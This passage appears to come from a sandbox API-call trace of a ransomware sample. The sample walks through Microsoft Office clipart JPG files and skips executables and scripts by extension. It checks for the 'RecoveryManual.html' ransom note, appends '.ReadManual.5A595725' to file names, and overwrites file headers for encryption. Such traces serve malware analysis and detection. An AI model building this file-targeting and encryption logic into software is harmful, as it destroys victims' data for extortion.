(psz1="JPG", psz2="inf") returned 1 [0270.087] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.087] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.087] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.087] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.087] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.087] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.087] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.087] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.087] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" [0270.087] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.ReadManual.5A595725" [0270.087] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.ReadManual.5A595725") returned 87 [0270.087] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39075615427) returned 1 [0270.087] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg")) returned 0x20 [0270.088] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.088] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=101060) returned 1 [0270.088] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18ac4, lpName=0x0) returned 0x184 [0270.088] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.089] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.089] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.091] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.091] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18ac4) returned 0x1de0000 [0270.094] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.095] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39076364173) returned 1 [0270.095] CloseHandle (hObject=0x184) returned 1 [0270.095] SetSecurityInfo () returned 0x57 [0270.095] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.095] CloseHandle (hObject=0x194) returned 1 [0270.100] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bef7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382962.JPG", cAlternateFileName="")) returned 1 [0270.100] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382962.JPG" | out: lpString1="J0382962.JPG") returned="J0382962.JPG" [0270.100] lstrcmpiW (lpString1="J0382962.JPG", lpString2="RecoveryManual.html") returned -1 [0270.100] StrStrIW (lpFirst="J0382962.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.100] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.100] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.100] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.100] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.100] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.100] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.100] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.100] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.100] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.100] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.101] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.101] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.101] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.101] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.101] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" [0270.101] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.ReadManual.5A595725" [0270.101] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.ReadManual.5A595725") returned 87 [0270.101] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39076953811) returned 1 [0270.101] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg")) returned 0x20 [0270.101] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.101] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=114423) returned 1 [0270.101] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bef7, lpName=0x0) returned 0x184 [0270.101] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.102] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.102] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.104] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.104] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bef7) returned 0x1de0000 [0270.108] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.108] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39077711306) returned 1 [0270.108] CloseHandle (hObject=0x184) returned 1 [0270.108] SetSecurityInfo () returned 0x57 [0270.109] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.109] CloseHandle (hObject=0x194) returned 1 [0270.109] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17dee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382963.JPG", cAlternateFileName="")) returned 1 [0270.109] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382963.JPG" | out: lpString1="J0382963.JPG") returned="J0382963.JPG" [0270.109] lstrcmpiW (lpString1="J0382963.JPG", lpString2="RecoveryManual.html") returned -1 [0270.109] StrStrIW (lpFirst="J0382963.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.109] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.109] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.109] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.109] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.109] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.109] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.109] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.109] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.109] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.109] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.109] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.109] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.109] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.109] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.109] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" [0270.109] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.ReadManual.5A595725" [0270.109] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.ReadManual.5A595725") returned 87 [0270.109] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39077813387) returned 1 [0270.109] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg")) returned 0x20 [0270.110] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.110] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=97774) returned 1 [0270.110] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17dee, lpName=0x0) returned 0x184 [0270.110] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.111] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.111] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.112] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.113] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17dee) returned 0x1de0000 [0270.115] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.115] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39078415093) returned 1 [0270.115] CloseHandle (hObject=0x184) returned 1 [0270.115] SetSecurityInfo () returned 0x57 [0270.116] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.116] CloseHandle (hObject=0x194) returned 1 [0270.116] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bb02, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382965.JPG", cAlternateFileName="")) returned 1 [0270.116] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382965.JPG" | out: lpString1="J0382965.JPG") returned="J0382965.JPG" [0270.116] lstrcmpiW (lpString1="J0382965.JPG", lpString2="RecoveryManual.html") returned -1 [0270.116] StrStrIW (lpFirst="J0382965.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.116] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.116] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.116] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.116] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.116] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.116] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.116] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.116] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.116] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.116] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.116] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.116] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.116] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.116] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.116] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" [0270.116] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.ReadManual.5A595725" [0270.116] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.ReadManual.5A595725") returned 87 [0270.116] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39078510504) returned 1 [0270.116] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg")) returned 0x20 [0270.117] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.117] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=113410) returned 1 [0270.117] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bb02, lpName=0x0) returned 0x184 [0270.117] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.118] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.118] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.120] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.120] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bb02) returned 0x1de0000 [0270.124] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.124] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39079298471) returned 1 [0270.124] CloseHandle (hObject=0x184) returned 1 [0270.124] SetSecurityInfo () returned 0x57 [0270.124] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.124] CloseHandle (hObject=0x194) returned 1 [0270.125] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382966.JPG", cAlternateFileName="")) returned 1 [0270.125] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382966.JPG" | out: lpString1="J0382966.JPG") returned="J0382966.JPG" [0270.125] lstrcmpiW (lpString1="J0382966.JPG", lpString2="RecoveryManual.html") returned -1 [0270.125] StrStrIW (lpFirst="J0382966.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.125] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.125] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.125] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.125] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.125] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.125] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.125] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.125] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.125] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.125] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.125] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.125] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.125] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.125] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.125] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" [0270.125] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.ReadManual.5A595725" [0270.125] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.ReadManual.5A595725") returned 87 [0270.125] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39079396551) returned 1 [0270.125] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg")) returned 0x20 [0270.125] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.126] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=100488) returned 1 [0270.126] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18888, lpName=0x0) returned 0x184 [0270.126] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.127] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.127] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.129] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.129] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18888) returned 0x1de0000 [0270.132] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.132] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39080092319) returned 1 [0270.132] CloseHandle (hObject=0x184) returned 1 [0270.132] SetSecurityInfo () returned 0x57 [0270.132] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.132] CloseHandle (hObject=0x194) returned 1 [0270.132] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16d08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382967.JPG", cAlternateFileName="")) returned 1 [0270.132] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382967.JPG" | out: lpString1="J0382967.JPG") returned="J0382967.JPG" [0270.133] lstrcmpiW (lpString1="J0382967.JPG", lpString2="RecoveryManual.html") returned -1 [0270.133] StrStrIW (lpFirst="J0382967.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.133] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.133] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.133] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.133] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.133] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.133] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.133] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.133] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.133] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.133] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.133] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.133] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.133] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.133] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.133] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" [0270.133] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.ReadManual.5A595725" [0270.133] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.ReadManual.5A595725") returned 87 [0270.133] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39080192814) returned 1 [0270.133] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg")) returned 